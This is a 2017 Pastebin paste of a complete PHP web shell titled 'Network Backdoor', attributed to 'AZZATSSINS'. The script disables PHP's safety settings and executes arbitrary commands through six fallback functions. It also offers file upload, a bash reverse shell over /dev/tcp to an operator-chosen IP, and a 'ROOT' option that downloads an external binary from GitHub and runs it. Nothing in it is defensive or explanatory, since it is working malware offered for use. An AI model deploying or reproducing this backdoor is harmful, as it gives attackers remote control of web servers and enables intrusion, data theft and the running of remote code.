Advertisement
AZZATSSINS_CYBERSERK

Network Backdoor

Sep 5th, 2017
488
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.95 KB | None | 0 0
  1. <?php
  2. //AUTHOR | AZZATSSINS
  3. @error_reporting(0);
  4. @ini_set('output_buffering',0);
  5. @ini_set('display_errors', 0);
  6. @ini_set('log_errors',0);
  7. echo ini_get("safe_mode");
  8. echo ini_get("open_basedir");
  9. ini_restore("safe_mode");
  10. ini_restore("open_basedir");
  11. $phi = fopen("php.ini","w");
  12. fwrite($phi,"safe_mode = Off
  13. disable_functions = NONE
  14. safe_mode_gid = OFF
  15. open_basedir = OFF ");
  16. function exe($cmd){
  17.     $xazx = "";
  18.     $cmd = $cmd." 2>&1";
  19.  
  20.     if(is_callable('system')) {
  21.         ob_start();
  22.         @system($cmd);
  23.         $xazx = ob_get_contents();
  24.         ob_end_clean();
  25.         if(!empty($xazx)) return $xazx;
  26.     }
  27.     if(is_callable('shell_exec')){
  28.         $xazx = @shell_exec($cmd);
  29.         if(!empty($xazx)) return $xazx;
  30.     }
  31.     if(is_callable('exec')) {
  32.         @exec($cmd,$azxr);
  33.         if(!empty($azxr)) foreach($azxr as $azxs) $xazx .= $azxs;
  34.         if(!empty($xazx)) return $xazx;
  35.     }
  36.     if(is_callable('passthru')) {
  37.         ob_start();
  38.         @passthru($cmd);
  39.         $xazx = ob_get_contents();
  40.         ob_end_clean();
  41.         if(!empty($xazx)) return $xazx;
  42.     }
  43.     if(is_callable('proc_open')) {
  44.         $azxdescriptorspec = array(
  45.         0 => array("pipe", "r"),
  46.         1 => array("pipe", "w"),
  47.         2 => array("pipe", "w")
  48.         );
  49.         $azxproc = @proc_open($cmd, $azxdescriptorspec, $azxpipes, getcwd(), array());
  50.         if (is_resource($azxproc)) {
  51.             while ($azxsi = fgets($azxpipes[1])) {
  52.                 if(!empty($azxsi)) $xazx .= $azxsi;
  53.             }
  54.             while ($azxse = fgets($azxpipes[2])) {
  55.                 if(!empty($azxse)) $xazx .= $azxse;
  56.             }
  57.         }
  58.         @proc_close($azxproc);
  59.         if(!empty($xazx)) return $xazx;
  60.     }
  61.     if(is_callable('popen')){
  62.         $azxf = @popen($cmd, 'r');
  63.         if($azxf){
  64.             while(!feof($azxf)){
  65.                 $xazx .= fread($azxf, 2096);
  66.             }
  67.             pclose($azxf);
  68.         }
  69.         if(!empty($xazx)) return $xazx;
  70.     }
  71.     return "";
  72. }
  73. echo'<title>Network Backdoor</title><body bgcolor=black><font color=red><center><b><a href="?">HOME</a></b><i><br>[ <a href="?file=upload">UPLOAD</a> ] [ <a href="?reverse=shell">REVERSHELL</a> ] [ <a href="?open=port">PORTS</a> ] [ <a href="?root=server">ROOT</a> ]</i></center></red><font color=green><br>';
  74. if($_GET['reverse'] == 'shell') {
  75. echo '<center><form method="post">IP :
  76. <input name="prx"> >> PORT : <input name="prt" value="110">
  77. <input type="submit" value="Connect" name="revershell">
  78. <br></form>';
  79. if($_POST['revershell']){
  80. exe("bash -i >& /dev/tcp/".$_POST['prx']."/".$_POST['prt']." 0>&1"); }
  81. }elseif($_GET['open'] == 'port'){
  82. echo "<pre>";
  83. print exe("netstat -an | grep -i listen 2>&1");
  84. echo "</pre>";
  85. }elseif($_GET['file'] == 'upload'){
  86. echo '<center><form method="post" enctype="multipart/form-data">
  87. <input type="file" name="x">
  88. <input type="submit" value="Upload" name="upload">
  89. <br></form>';
  90. if($_POST['upload']){
  91. copy( $_FILES ['x']['tmp_name'],$_FILES
  92. ['x']['name']);
  93. echo 'Success'; }
  94. }elseif($_GET['root'] == 'server'){
  95. exe("wget https://raw.githubusercontent.com/cyberserkers/root/master/azx && chmod +x azx && ./azx 123456");
  96. }else{
  97. echo '<form method="post"><input name="cmd"><br></form><pre>';
  98. print exe($_POST['cmd']);
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement